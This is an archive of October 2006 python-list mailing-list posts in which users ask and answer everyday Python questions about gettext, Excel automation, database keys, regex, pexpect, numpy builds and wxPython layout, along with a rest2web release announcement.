> The problem with that is that xwd format is a non-standard format, and
> *uncompressed* on top of that. If he wants to distribute the image to
> friends, or whatever, he'll have to convert it to something like png
> anyway. If he's using Linux, he probably doesn't need to use xwd
> anyway and might as well save himself the effort (and HD space) now.
>
> -- Theerasak
> --
> http://mail.python.org/mailman/listinfo/python-list
>


From russ.phillips.nospam at googlemail.com  Sat Oct 28 04:04:29 2006
From: russ.phillips.nospam at googlemail.com (russ.phillips.nospam at googlemail.com)
Date: 28 Oct 2006 01:04:29 -0700
Subject: gettext on Windows
Message-ID: <1162022669.684710.182530@m7g2000cwm.googlegroups.com>

Hi,

I'm trying to use gettext to internationalise my project [1], but I'm
getting the following error message with some translations:

"Traceback (most recent call last):
file PanicButton.py line 36 in ?
file Gettext.pyc line 177 in _init_
file Gettext.pyc line 274 in _parse
struct.error : unpack str size does not match format"

The snippet of code that loads the .mo file is below:

<code>
# Code to find & install l10n file
import gettext, os, locale, glob
loc = locale.getdefaultlocale ()
sLocale = loc [0]

#Use translation file with same name as locale if it exists
if (os.path.exists (os.path.join ('locale', sLocale + '.mo'))):
    sLang = os.path.join ('locale', sLocale + '.mo')
else:
    #find a .mo file that matches the first part (first three
characters) of the locale
    sMoFiles = glob.glob (os.path.join ('locale', sLocale [:3] +
'*.mo'))
    if (len (sMoFiles) > 0):
        sLang = sMoFiles [0]
    else:
        #Could not find exact or partial match for locale - use default
translation file (British English)
        sLang = os.path.join ('locale', 'en_GB.mo')

lan = gettext.GNUTranslations (open (sLang))
lan.install ()
# End of code to find & install l10n file
</code>

I *think* the problem is a unicode problem - it only seems to appear
when the translated file uses unicode strings.

Is the problem in the code that loads the .mo file - do I need to make
it use unicode? Or do the strings that are to be translated have to be
marked as unicode?

Full sourcecode is available via the SF.net project page [1], if
required.

Russ

[1] http://sourceforge.net/projects/panicbutton



From sybrenUSE at YOURthirdtower.com.imagination  Tue Oct 17 13:44:14 2006
From: sybrenUSE at YOURthirdtower.com.imagination (Sybren Stuvel)
Date: Tue, 17 Oct 2006 19:44:14 +0200
Subject: building extensions for Windows Python
References: <pan.2006.10.13.15.39.25.338194@bellsouth.net>
	<1160756760.071171.298590@b28g2000cwb.googlegroups.com>
	<pan.2006.10.17.17.38.30.489435@bellsouth.net>
Message-ID: <slrneja5je.5l7.sybrenUSE@schuimige.stuvel.eu>

JW enlightened us with:
> Thanks to Michael and Nick, I can now cross-compile my Pyrex
> extensions for bog-standard Python 2.5 [...] I can now use Linux to
> cross-build my extension for Windows, and my preliminary testing
> (under WINE -- See the original post.  I must adhere to my
> employment contract!) seems to show that it works. 

Congratulations!

Sybren
-- 
Sybren St??vel
St??vel IT - http://www.stuvel.eu/


From almondb at gmail.com  Wed Oct  4 19:57:35 2006
From: almondb at gmail.com (Brian)
Date: 4 Oct 2006 16:57:35 -0700
Subject: Python crash when trying to generate an Excel worksheet with VBA
	macros
In-Reply-To: <1159959227.175800.141450@m7g2000cwm.googlegroups.com>
References: <1159959227.175800.141450@m7g2000cwm.googlegroups.com>
Message-ID: <1160006255.849266.203110@i3g2000cwc.googlegroups.com>

dan_roman wrote:
> Hi,
> I developed a script with a nice interface in Tkinter that allows me to
> edit some formulas and to generate an Excel worksheet with VBA macros
> within it. The script runs perfectlly in Office 2000, but in Office
> 2003 crash at line: "wbc = workbook.VBProject.VBComponents.Add(1)"
> Please help me :-(

The Excel on the box you're testing this, have you set it to trust
programmatic access to the VB Project?  If you haven't, I wouldn't be
surprised if that line would likely raise an exception.  I'm pretty
sure Excel's security model has changed a bit between 2000 and 2003, so
perhaps this is what is biting you.



From mensanator at aol.com  Fri Oct 20 14:07:25 2006
From: mensanator at aol.com (mensanator at aol.com)
Date: 20 Oct 2006 11:07:25 -0700
Subject: proper format for this database table
In-Reply-To: <qD7_g.124$1n3.3420@news.tufts.edu>
References: <qWQZg.119$1n3.3371@news.tufts.edu>
	<mailman.786.1161289572.11739.python-list@python.org>
	<1161293831.141761.284230@e3g2000cwe.googlegroups.com>
	<4t5_g.121$1n3.3067@news.tufts.edu>
	<mailman.851.1161358338.11739.python-list@python.org>
	<qD7_g.124$1n3.3420@news.tufts.edu>
Message-ID: <1161367645.430191.289290@k70g2000cwa.googlegroups.com>


John Salerno wrote:
> Carsten Haese wrote:
>
> >>> [id] [university] [yearStart] [yearEnd] [degreeEarned]
> >>> 1     U of I       1971        1975      BS
> >>> 1     U of I       1975        1976      MS
> >>> 1     U of I       1976        1977      PhD
> >>>
> >> Thanks guys. I do plan to have an id entry for each person as well, I
> >> just forgot to mention that. But since it's a primary key, I didn't know
> >> I could list it more than once. Or does primary key not necessarily mean
> >> unique?
> >
> > Primary key *does* mean unique in the table that defines it. However, if
> > you take a primary key ID from one table and store it in a different
> > table, that's a foreign key. There are no inherent uniqueness
> > constraints on a foreign key.
> >
>
> So in the example above, isn't that using the same primary key multiple
> times in the same table?

Actually, the [id] in the example was intended to be the
foreign key, I didn't specify an id for the degree records
themselves. A more typical example would be

[Eid] [Sid] [university] [yearStart] [yearEnd] [degreeEarned]
5      1     U of I       1971        1975      BS
6      1     U of I       1975        1976      MS
7      1     U of I       1976        1977      PhD

where [Eid] is the primary key of the Education table and
[Sid] is the foreign key from the Student table so that the
single student record (1) links to three education records
(5,6,7).



From fredrik at pythonware.com  Tue Oct  3 14:56:10 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 03 Oct 2006 20:56:10 +0200
Subject: Looping over a list question
In-Reply-To: <1159897804.722852.8160@i42g2000cwa.googlegroups.com>
References: <1159897804.722852.8160@i42g2000cwa.googlegroups.com>
Message-ID: <efuboa$u5u$1@sea.gmane.org>

stephen at theboulets.net wrote:

> I found myself writing:
> 
> for f in [i for i in datafiles if '.txt' in i]:
>     print 'Processing datafile %s' % f
> 
> but I was wishing that I could have instead written:
> 
> for f in in datafiles if '.txt' in f:
>     print 'Processing datafile %s' % f
> 
> Has there ever been a proposal for this?

probably.  but unless your editor or keyboard is horribly broken, you 
can of course press return at the right place instead:

       for i in datafiles:
	  if '.txt' in i:
	      print 'Processing datafile %s' % f

(for this specific case, "endswith" is more reliable than "in", btw)

</F>



From B.Ogryczak at gmail.com  Mon Oct 23 12:45:33 2006
From: B.Ogryczak at gmail.com (Bart Ogryczak)
Date: 23 Oct 2006 09:45:33 -0700
Subject: sharing persisten cache between modules
In-Reply-To: <mailman.990.1161621384.11739.python-list@python.org>
References: <1161620802.744818.16500@e3g2000cwe.googlegroups.com>
	<mailman.990.1161621384.11739.python-list@python.org>
Message-ID: <1161621933.150100.149830@m7g2000cwm.googlegroups.com>


Fredrik Lundh wrote:
> Bart Ogryczak wrote:
>
> > I?ve got a problem creating persistent cache, that would be shared
> > between modules. There a supermodule, which calls submodules. I?d like
> > submodules to use cache created in the supermodule. The only way I see
> > right now, is to pass it as function argument, but that would require a
> > change in API, which I?d prefer to avoid. Is this the only way?
>
> does "module" mean Python module?

Yes it does.

> why not just put the cache management
> code in a module that's imported by any submodule that wants to use it ?

The problem is, that then it is not shared. If I do it like that, each
module has it?s own copy of the cache. Maybe I?m doing something
wrong. I?ve made a cache module, imported it in each of the
submodules. I don?t know how to make the data "static".



From duncan.booth at invalid.invalid  Fri Oct 20 08:43:58 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 20 Oct 2006 12:43:58 GMT
Subject: invert or reverse a string... warning this is a rant
References: <mailman.764.1161275760.11739.python-list@python.org>
Message-ID: <Xns98627219AF2EFduncanbooth@127.0.0.1>

"Demel, Jeff" <Jeff.Demel at JavelinDirect.com> wrote:

> I've been programming professionally for over 10 years, and have never
> once needed to reverse a string.  Maybe it's a lack of imagination on my
> part, but I can't think of a single instance this might be necessary.

I did want to reverse some strings once, but it may have been nearly 10 
years ago now.

If I remember correctly the situation was that I wanted to store a lot of 
strings on a pda with limited memory and no gzip library. One way of 
doing simple compression would be to store them sorted with the first byte 
simply containing the number of characters in common with the previous 
string. It happened that the strings in question had common suffixes more 
than prefixes, so I stored them sorted by the reverse of the strings with a 
lead byte containing the number of common characters at the tail of the 
string.

Shortly afterwards I ported gzip to the target platform.


From ocollioud at gmail.com  Mon Oct  2 09:14:22 2006
From: ocollioud at gmail.com (olive)
Date: 2 Oct 2006 06:14:22 -0700
Subject: Python/UNO/OpenOffice?
In-Reply-To: <1159794483.092877.196110@m7g2000cwm.googlegroups.com>
References: <78b3a9580609301049y6eef219cy18f89abc58b55e68@mail.gmail.com>
	<mailman.1085.1159790247.10491.python-list@python.org>
	<1159792556.813570.10480@k70g2000cwa.googlegroups.com>
	<1159794483.092877.196110@m7g2000cwm.googlegroups.com>
Message-ID: <1159794862.317582.214860@e3g2000cwe.googlegroups.com>


... and you have to start your py file with:

import uno, sys, socket
from com.sun.star.beans import PropertyValue

... and your start_oo_server.bat file with:

@SET PYTHONPATH=C:\Program Files\OpenOffice.org 2.0\program;C:\Program
Files\OpenOffice.org 2.0\program\python-core-2.3.4\lib
@SET PATH=C:\Program Files\OpenOffice.org 2.0\program;C:\Program
Files\OpenOffice.org 2.0\program\python-core-2.3.4\bin



From jweida at gmail.com  Tue Oct 24 21:33:57 2006
From: jweida at gmail.com (Jerry)
Date: 24 Oct 2006 18:33:57 -0700
Subject: I like python.
In-Reply-To: <mailman.882.1161405613.11739.python-list@python.org>
References: <mailman.824.1161333065.11739.python-list@python.org>
	<1161379318.934985.115810@m7g2000cwm.googlegroups.com>
	<mailman.882.1161405613.11739.python-list@python.org>
Message-ID: <1161740037.396086.317230@i42g2000cwa.googlegroups.com>

Glad I could help.

--
Jerry



From henrique.nakashima at gmail.com  Wed Oct  4 01:21:25 2006
From: henrique.nakashima at gmail.com (Henrique Nakashima)
Date: Wed, 4 Oct 2006 02:21:25 -0300
Subject: Compiling binaries
Message-ID: <b18a331b0610032221m6f8e10a2j91581800e45302d7@mail.gmail.com>

Hi, I'm trying to find a way to compile .py files into linux binaries, so
that i can distribute a program without having the user install python
itself. Is there a way to do that?
I tried pypack but since im new with linux, i couldn't install it from
source. There was also py2exe, but this makes only windows exes.
Thank you for the help.
-------------- next part --------------
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From peter.maas at somewhere.com  Fri Oct  6 17:00:21 2006
From: peter.maas at somewhere.com (Peter Maas)
Date: Fri, 06 Oct 2006 23:00:21 +0200
Subject: n-body problem at shootout.alioth.debian.org
In-Reply-To: <1160166729.868246.56630@b28g2000cwb.googlegroups.com>
References: <eg6bku$59b$1@online.de>
	<1160166729.868246.56630@b28g2000cwb.googlegroups.com>
Message-ID: <eg6g5p$dg0$1@online.de>

Matteo wrote:
> Of course, numpy is not a standard package (though there is a proposal
> to add a standard 'array' package to python, based of numpy/numeric),
> but if you want to do any numerics with python, you shouldn't be
> without it.

I know that nbody.py could be speeded up by psyco and numpy but I was
curious why plain Python was slower than plain Perl. Thanks for your
hints, guys!

--
Regards/Gruesse,

Peter Maas, Aachen
E-mail 'cGV0ZXIubWFhc0B1dGlsb2cuZGU=\n'.decode('base64')


From harvey.thomas at informa.com  Fri Oct 13 07:23:14 2006
From: harvey.thomas at informa.com (harvey.thomas at informa.com)
Date: 13 Oct 2006 04:23:14 -0700
Subject: Insert characters into string based on re ?
References: <1160692180.139410.302410@f16g2000cwb.googlegroups.com>
Message-ID: <1160738594.288895.136560@i42g2000cwa.googlegroups.com>


Matt wrote:
> I am attempting to reformat a string, inserting newlines before certain
> phrases. For example, in formatting SQL, I want to start a new line at
> each JOIN condition. Noting that strings are immutable, I thought it
> best to spllit the string at the key points, then join with '\n'.
>
> Regexps can seem the best way to identify the points in the string
> ('LEFT.*JOIN' to cover 'LEFT OUTER JOIN' and 'LEFT JOIN'), since I need
> to identify multiple locationg in the string. However, the re.split
> method returns the list without the split phrases, and re.findall does
> not seem useful for this operation.
>
> Suggestions?

I think that re.sub is a more appropriate method rather than split and
join

trivial example (non SQL):

>>> addnlre = re.compile('LEFT\s.*?\s*JOIN|RIGHT\s.*?\s*JOIN', re.DOTALL + re.IGNORECASE).sub
>>> addnlre(lambda x: x.group() + '\n', '... LEFT JOIN x RIGHT OUTER join y')
'... LEFT JOIN\n x RIGHT OUTER join\n y'



From jurian at juriansluiman.nl  Sun Oct 29 15:56:57 2006
From: jurian at juriansluiman.nl (Jurian Sluiman)
Date: Sun, 29 Oct 2006 21:56:57 +0100
Subject: Get pexpect to work
References: <pan.2006.10.29.08.44.06.380170@juriansluiman.nl>
Message-ID: <pan.2006.10.29.20.56.56.663600@juriansluiman.nl>

Ok, somebody helped my and found with "help(child.sendline)" that the
number (7) is the number of characters from my password.

Still there doesn't seem to be that anything strange is happening. With
the logfile printed out, I found that child.expect places a 0 behind the
next rule. Is this always what's happening? And is that 0 causing all my
troubles?

I'm a newbie with python, so I don't know much about it. This is (again)
the output, but with a sys.stdout line between it:

>>> child = pexpect.spawn("vpnc-connect tudelft\ nopass.conf")
>>> child.logfile = sys.stdout
>>> child.expect(".* password .*: ")
Enter password for wb1264222 at luchtbrug.tudelft.nl: 0
>>> child.sendline("[my_password]")
7

Any help is really appreciated! I can search on the Internet, but with no
clue to search for and which keywords to use, all results don't help me.

Thanks,
Jurian

PS. Sorry for my bad English, I hope you can understand it.


From beliavsky at aol.com  Sun Oct 22 00:12:24 2006
From: beliavsky at aol.com (beliavsky at aol.com)
Date: 21 Oct 2006 21:12:24 -0700
Subject: PSF Infrastructure has chosen Roundup as the issue tracker for
	Python development
References: <bbaeab100610201335q7fe14f9dx3be89b529778a7a@mail.gmail.com>
	<mailman.875.1161381121.11739.python-list@python.org>
Message-ID: <1161490344.858999.291130@b28g2000cwb.googlegroups.com>

BJ?rn Lindqvist wrote:
> On 10/20/06, Brett Cannon <brett at python.org> wrote:
> > At the beginning of the month the PSF Infrastructure committee announced
> > that we had reached the decision that JIRA was our recommendation for the
> > next issue tracker for Python development.

I wonder if the committee has really decided on a PROBLEM or BUG
tracker, not an "issue" tracker. For some silly reason, "issue" has
become a euphemism for "problem" nowadays. It is worth keeping in mind
the difference. Questions about the future direction of Python, such as
(for example) whether there should be optional static typing, are
"issues". Python crashing for some reason would be a "problem".



From gmarkowsky at gmail.com  Mon Oct 30 09:57:33 2006
From: gmarkowsky at gmail.com (gmarkowsky at gmail.com)
Date: 30 Oct 2006 06:57:33 -0800
Subject: importing class
In-Reply-To: <mailman.1457.1162179691.11739.python-list@python.org>
References: <1161966120.828597.57280@b28g2000cwb.googlegroups.com>
	<pan.2006.10.27.16.28.47.580241@gmx.net>
	<1162140046.696622.295130@m7g2000cwm.googlegroups.com>
	<mailman.1457.1162179691.11739.python-list@python.org>
Message-ID: <1162220253.426998.197840@i42g2000cwa.googlegroups.com>

Thanks for your help. Actually my idea was that command1 and command2
would be defined within the program, not the module, as I would have
different choices in different programs. Should I pass them in as a
parameter too?

Greg

Steve Holden wrote:
> gmarkowsky at gmail.com wrote:
> > Thanks, I got that part. The problem I'm still having is that it's not
> > seeing things like text_1, which are defined in the program. How can I
> > make it see that?
> >
> Your module is intended to work with many different main programs, so it
> shouldn't make any assumptions about the names that the main program
> uses for things. That would be rather bad programming style ("rigind
> coupling" is something to be avoided where possible). I wouldn't call
> that class App just because it's misleading: maybe you could change the
> name to YesNo, or Choice, or something more indicative of its function?
>
> You could pass text_1 and text_2 as arguments to the class's __init__
> method - that way you could just use them directly.
>
> > Another question I should ask is whether I should even bother doing
> > this. That is, it seems that the elegant and approved way of doing this
> > kind of thing may be to put a class in a module and then just use the
> > module over and over again in programs. I'm making a few GUIs which
> > present two options and ask the user to chose one, so I thought I could
> > just do it this way. Of course I could very easily just copy and paste
> > the class into each file, but that seems silly. I haven't had any
> > trouble using modules for functions, but for classes it is not working
> > right so far, and I'm having trouble finding examples to follow.
> >
> Seems like parameterization is the thing you are missing. Change the
> __init__ method declaration to
>
>      def __init__(self, master, text_1="OK", text_2="Cancel"):
>          ...
>
> leaving the rest of the code the same. (Though I note your module also
> fails to define a "command1" and "command2" function, this may just be
> because you are only quoting partial code).
>
> Then in your main program create the object with
>
>      myDialog = YesNo(master, "Yes", "No")
>
> Looks like you are new to Python - perseverre and you will pick it up
> quite quickly!
>
> regards
>   Steve
> --
> Steve Holden       +44 150 684 7255  +1 800 494 3119
> Holden Web LLC/Ltd          http://www.holdenweb.com
> Skype: holdenweb       http://holdenweb.blogspot.com
> Recent Ramblings     http://del.icio.us/steve.holden



From jmpurser at gmail.com  Wed Oct 18 18:12:22 2006
From: jmpurser at gmail.com (John Purser)
Date: Wed, 18 Oct 2006 15:12:22 -0700
Subject: Reading a Microsoft access file.
In-Reply-To: <1161182387.14846.26.camel@Tiredbones.lan>
References: <1161182387.14846.26.camel@Tiredbones.lan>
Message-ID: <1161209542.5309.0.camel@localhost.localdomain>

On Wed, 2006-10-18 at 10:39 -0400, infotechsys at pivot.net wrote:
> I googled for the answer but all the answer seem to imply that you
> have to have Access installed on your system. I have a file that was
> created using Access and I want develop a Python script to
> read the file and produce a report. Can this be done, if could you point
> me to some doc?
> Thanks.
> Wayne
> 

Wayne,

Check out:
http://mdbtools.sourceforge.net/
https://sourceforge.net/projects/mdbtools/

John Purser



From jefishman at gmail.com  Thu Oct 26 00:28:00 2006
From: jefishman at gmail.com (jefishman at gmail.com)
Date: 25 Oct 2006 21:28:00 -0700
Subject: Embedded python loading .so files?
Message-ID: <1161836879.975380.196610@m73g2000cwd.googlegroups.com>

I have a Python (2.3.x) interpreter running embedded in a C++
application  on a host machine.  I would like to run a specific package
on that host machine (numpy).  I have managed to compile
(cross-compile) the library, so that I have the python modules and the
compiled .so files.  I am relatively sure that these would import
normally in a standard interpreter (they give bad magic on the build
machine).

However, I would like to be able to import this package dynamically
within the application running on the host machine.  When I attempted
to import the package within the already loaded python modules, I would
get errors that the C portions of the package could not be found (the
pure-python modules would load, call to import module_foo, which is
module_foo.so, but would error "Cannot find module_foo").

How can I get the application to load the package?  Do I need to load
it through the C API?  I would heavily prefer not to recompile the
interpreter, if at all possible.

Thanks,
Jeremy



From sjmachin at lexicon.net  Sun Oct  8 09:08:12 2006
From: sjmachin at lexicon.net (John Machin)
Date: 8 Oct 2006 06:08:12 -0700
Subject: Bizzare lst length problem
In-Reply-To: <1160311703.533544.164250@i42g2000cwa.googlegroups.com>
References: <1160305922.469319.138520@i42g2000cwa.googlegroups.com>
	<mailman.53.1160306404.11739.python-list@python.org>
	<1160311703.533544.164250@i42g2000cwa.googlegroups.com>
Message-ID: <1160312892.128455.205030@i42g2000cwa.googlegroups.com>


Ben wrote:
> Ah... my list is a string. That explains the len() results, but not why
> it is a string in the dirst place.
>
> I have a dictionary containing a number of instances of the following
> class as values:
>
> class panel:
>     mops =[]
>
>     def __init__(self,number,level,location,mops,matrix):
>          self.number=number
>          self.level=level
>          self.location=location
>          self.mops=mops
>          self.matrix=matrix
>
>
> abve mops is a list, yet when I access it it is a string...
>

Well, if you are going to spare us from reading all of your code,
you'll have to debug it yourself. The clue that Fredrik gave you is
*not* of the use-once-and-discard variety -- when you are having
problems with the pixies changing your lists into strings, you need to
sprinkle prints of type(pixie_prey) and repr(pixie_prey) at salient
points in your code; as first statement in that __init__ method would
be a good start.



From fabianosidler at gmail.com  Wed Oct 25 14:45:24 2006
From: fabianosidler at gmail.com (Fabiano Sidler)
Date: Wed, 25 Oct 2006 18:45:24 +0000
Subject: Current stackdepth outside PyEval_EvalFrameEx
In-Reply-To: <slrnejshvc.1qk.horpner@FIAD06.norwich.edu>
References: <200610230220.47741.fabianosidler@gmail.com>
	<mailman.1096.1161708672.11739.python-list@python.org>
	<slrnejshvc.1qk.horpner@FIAD06.norwich.edu>
Message-ID: <200610251845.24729.fabianosidler@gmail.com>

On Tuesday 24 October 2006 17:05, Neil Cerutti wrote:
> Perhaps the inspect module will help?  See 3.11.4 The Interpreter
> Stack.

No, sorry if I didn't eplain it well enough. I meant the object stack
of the current frame, not the frame stack. In my function, I wanted to
return the list of objects on the object stack (f_valuestack) in the caller's 
frame. For this, I must have or compute the number of objects on this stack,
but don't have an idea how to do it.

Thanks in advance!
Fips


From fredrik at pythonware.com  Thu Oct 19 02:16:57 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Thu, 19 Oct 2006 08:16:57 +0200
Subject: Getting method name from within the class method
In-Reply-To: <20061018145926.0e8d3277@opal.pathscale.com>
References: <mailman.716.1161205201.11739.python-list@python.org>	<1161207492.298811.178110@m7g2000cwm.googlegroups.com>
	<20061018145926.0e8d3277@opal.pathscale.com>
Message-ID: <eh758p$pla$1@sea.gmane.org>

Mitko Haralanov wrote:

>>>>> class test(object):  
>> ...  def a_method(self,this,that):
>> ...   print self.a_method.__name__
> 
> Doing the above will obviously work!

so will

     print "a_method"

of course.  no need to be silly when you don't have to.

> However, I don't want to have to use the name of the function in the
> print statement (the ".a_method." part). Imagine having about 100 of
> the above print statements in the function and then you change the name
> of the function. I want all 100 of the print statements to work without
> having to change every one of them to reflect the new function name.

why are you writing functions that needs to output their own name a
100 times?  why should the program's *external* behaviour depend on
such an irrelevant detail of its internal design?  sounds like lousy 
design to me.

if you want to tag 100 messages with the same name, and you want to make 
it easy to change that name, should the need arise, use a variable:

    def a_method(self, this, that):
        name = "myname"

        print name, "is running"
        print name, "is about to return"

</F>



From usenet-mail-0306.20.chr0n0ss at spamgourmet.com  Sun Oct 29 06:42:22 2006
From: usenet-mail-0306.20.chr0n0ss at spamgourmet.com (Bjoern Schliessmann)
Date: Sun, 29 Oct 2006 12:42:22 +0100
Subject: Event driven server that wastes CPU when threaded doesn't
References: <1162120762.477120.275320@e3g2000cwe.googlegroups.com>
Message-ID: <4qjicuFnfj6uU1@individual.net>

Snor wrote:

> There is a lot of interaction between the clients and they would
> often need to write to the same list of values, which of course
> becomes a problem with a threaded server - so event driven solves
> that problem, and I assumed it would solve all my problems.

Which problem, and why "of course"? Sorry, I can't follow you
here :)

> I will want the server to support as many users as is possible on
> any given machine - and so wasted CPU cycles is something I am
> trying to avoid.

I'm not exactly sure how you connect to that SQL server ... you
shouldn't wait for the response of the MySQL server in a blocking
way, but either using dataReceived() method of the protocol
instance or, if that isn't possible, by using a Deferred instance
that fires when the answer is available. This is also possible with
your client connections.
 
Regards,


Bj?rn

-- 
BOFH excuse #354:

Chewing gum on /dev/sd3c



From fuzzyman at gmail.com  Sun Oct 15 17:56:20 2006
From: fuzzyman at gmail.com (Fuzzyman)
Date: 15 Oct 2006 14:56:20 -0700
Subject: [ANN] rest2web 0.5.0 Final
Message-ID: <1160949380.750083.272280@f16g2000cwb.googlegroups.com>

At last `rest2web 0.5.0 Final
<http://www.voidspace.org.uk/python/rest2web/>`_ is released.

Quick download links:

* `rest2web-0.5.0.zip
<http://www.voidspace.org.uk/cgi-bin/voidspace/downman.py?file=rest2web-0.5.0.zip>`_
* `rest2web-0.5.0.tar.gz
<http://www.voidspace.org.uk/cgi-bin/voidspace/downman.py?file=rest2web-0.5.0.tar.gz>`_

This release has several bugfixes, as well as some interesting new
features, over previous releases.

Release Summary
=============

Important changes since the last release (0.5.0 Beta 1) include:

* All the standard `macros
<http://voidspace.org.uk/python/rest2web/macros.html>`_ are now
built-in. There is no need for a separate macro file if you are only
using the standard ones.
* A new 'skiperrors' config file / command line option. Errors in
processing a file can now be ignored and rest2web will attempt to
continue processing.
* A config file is no longer required in force mode. (The current
directory is used as the source directory and html output is put into a
subdirectory called 'html'.)
* The restindex and uservalues block may now be in a ReST comment. This
means that rest2web source documents with a restindex can still be
valid ReStructured Text documents.


What is rest2web
=============

**rest2web** is a tool for creating websites, parts of websites, and
project documentation.

It allows you to keep your site contents in `ReStructured Text
<http://docutils.sourceforge.net>`_ or {acro;HTML;HyperText Markup
Language}.

Using a flexible templating system, using embedded Python code for
unlimited flexibility and no new templating language to learn, it can
then output the HTML for your site.

**rest2web** is extremely flexible, with many optional features, making
it suitable for building all kinds of websites.

See the `main page <http://voidspace.org.uk/python/rest2web/>`_ for
links to some of the sites built with rest2web.


What's New ?
==========

You can find the full changelog: `here
<http://voidspace.org.uk/python/rest2web/reference/changelog.html#version-0-5-0-final-2006-10-11>`_.

Paths in the ``file`` keyword and in the config file now have '~'
expanded. This
means they can use paths relative to the user directory. (Plus the
'colorize' and
'include' macros.)

Added 'skiperrors' config file / command line option. Errors in
processing a file can now be
ignored and rest2web will attempt to continue processing.

Fixed bug where non-ascii uservalues would blow up.

There was a bug in handling tabs in embedded code. This has been fixed.

The macro system has been revamped. All the standard macros are now
built in
as default macros. The modules needed by the default macros are also
now built
into rest2web. You can still add your own macros, or override the
default ones,
by supplying an additional macros file.

``Macro Paths`` section added to the config file for configuring the
default
macros ``smiley`` and ``emoticon``.

The initial message printed by rest2web has been changed to ``INFO``
level, so
that it is not displayed by the ``-a`` and ``-w`` verbosity levels.

The namespace and uservalues for each page are now available to the
macros,
using global variables ``uservalues`` and ``namespace`` (dictionaries).
This
means you can write macros that are customised for individual pages.

A config file is no longer required in force mode. (The current
directory is
used as the source directory and html output is put into a subdirectory
called
'html'.)

The restindex and uservalues block may now be in a ReST comment. This
means
that rest2web source documents with a restindex can still be valid
ReStructured
Text documents.

Fixed imports in the gallery plugin. (Thanks to Steve Bethard.)

Changed over to use the latest version of
`StandOut <http://www.voidspace.org.uk/python/standout.html>`_.

rest2web now exits with an error code corresponding to the number of
warnings and errors generated.

Errors and warnings are now output on ``sys.stderr``.



From johnjsal at NOSPAMgmail.com  Tue Oct 31 10:22:33 2006
From: johnjsal at NOSPAMgmail.com (John Salerno)
Date: Tue, 31 Oct 2006 15:22:33 GMT
Subject: wxPython TextCtrl - weird scrolling behavior
In-Reply-To: <1162242161.009063.65140@e64g2000cwd.googlegroups.com>
References: <1162237089.308746.70370@e3g2000cwe.googlegroups.com>
	<PJs1h.204$1n3.4348@news.tufts.edu>
	<1162238656.661097.75180@f16g2000cwb.googlegroups.com>
	<N6t1h.205$1n3.4487@news.tufts.edu>
	<1162240822.260735.316040@e64g2000cwd.googlegroups.com>
	<2yt1h.206$1n3.4433@news.tufts.edu>
	<1162242161.009063.65140@e64g2000cwd.googlegroups.com>
Message-ID: <ZSJ1h.211$1n3.4629@news.tufts.edu>

abcd wrote:
> On Oct 30, 3:47 pm, John Salerno <johnj... at NOSPAMgmail.com> wrote:
>> I noticed that one object you refer to is
>> self.textPane, is that supposed to be self.textPanel?
> 
> no, self.textPane is the actual wx.TextCtrl.
> 
> I used a GUI Builder to the layout stuff...perhaps that's my problem :)
> 
> is there a good site to refer to for how to use sizers?  i am
> essentially creating a chat window (textPane is the history of the
> chat, then a textCtrl below it for typing a new message and a button
> next to the input field and buttons below the input field).
> 

After I watched the screencasts for how Dabo uses sizers, I really 
understood them a lot better. I've never used Dabo itself for GUI 
design, but the screencast, though it shows them in terms of that 
program, still gives a great visual presentation of how sizers work in 
general and I suggest you take a look at that:

http://leafe.com/screencasts/sizers1.html
http://leafe.com/screencasts/sizers2.html

P.S. I suggest you post the full code to the wxPython mailing list. I'll 
take a look at it to see if anything strikes me, but also you will have 
a ton of other (more experienced) people looking at it too, and I 
guarantee they will spot your problem.


From george.sakkis at gmail.com  Fri Oct 27 02:37:18 2006
From: george.sakkis at gmail.com (George Sakkis)
Date: 26 Oct 2006 23:37:18 -0700
Subject: NumPy 1.0 release
References: <mailman.1288.1161883418.11739.python-list@python.org>
	<1161927501.585705.151830@b28g2000cwb.googlegroups.com>
	<mailman.1326.1161928447.11739.python-list@python.org>
Message-ID: <1161931038.286671.68440@m73g2000cwd.googlegroups.com>

Robert Kern wrote:

> George Sakkis wrote:
> > ImportError:
> > /usr/local/lib/python2.4/site-packages/numpy/linalg/lapack_lite.so:
> > undefined symbol: zheevd_
> >
> > Googling for "undefined symbol: zheevd_" returned no hits, at which
> > point I gave up for now; hopefully someone will have a suggestion on
> > what to do next (other than dumping RH's mess for Ubuntu, which I'd
> > gladly do if it was up to me).
>
> zheevd is a LAPACK routine. Check for that symbol in the LAPACK library that you
> are linking. If it's not there, then your LAPACK library is broken. ATLAS
> provides some optimized LAPACK routines, and some distributions of ATLAS provide
> LAPACK libraries with *only* those routines:
>
>    http://scipy.org/FAQ#head-0f5cda66c4d28a8c65206cc2b4213e18f1c22547

Thanks Robert, mystery solved; the source was there but I had changed
the Makefile to not build for complex variables after reading about
RH's problem, and then forgot to put it back. At last, I can now import
numpy! I don't have any use for complex variables, so I hope the broken
tests don't imply anything for the reliability of the library on my
system.

Thanks again,
George



From duncan.booth at invalid.invalid  Tue Oct  3 10:17:58 2006
From: duncan.booth at invalid.invalid (Duncan Booth)
Date: 3 Oct 2006 14:17:58 GMT
Subject: Raw strings and escaping
References: <mailman.1152.1159872720.10491.python-list@python.org>
	<slrnei4hm2.27q.jon+usenet@snowy.squish.net>
	<Xns9851834924701duncanbooth@127.0.0.1>
	<slrnei4mhb.pa2.jon+usenet@snowy.squish.net>
Message-ID: <Xns98519BA31E37Cduncanbooth@127.0.0.1>

Jon Ribbens <jon+usenet at unequivocal.co.uk> wrote:

> Well, hardly *much* harder:
> 
>   pattern = r"""foo"""

It means you have to always triple quote your raw strings or know in 
advance of writing the regular expression which of r'', r"", r'''''', 
r"""""" is most appropriate. The way it works at the moment you don't have 
to care, you just write the raw string knowing that with r'' you have to 
escape single quotes, r"" you have to escape double quotes and everything 
works as expected.

Its only when you start trying to use raw strings for things other than 
regular expressions that backslash at the end of the string can be a 
problem.


From jstroud at mbi.ucla.edu  Fri Oct 13 04:56:29 2006
From: jstroud at mbi.ucla.edu (James Stroud)
Date: Fri, 13 Oct 2006 08:56:29 GMT
Subject: Python Best Practice References
In-Reply-To: <mailman.420.1160724159.11739.python-list@python.org>
References: <mailman.420.1160724159.11739.python-list@python.org>
Message-ID: <1xIXg.22340$Ij.9008@newssvr14.news.prodigy.com>

Wijaya Edward wrote:
> Can anybody suggest any references (links, books, etc)about this?
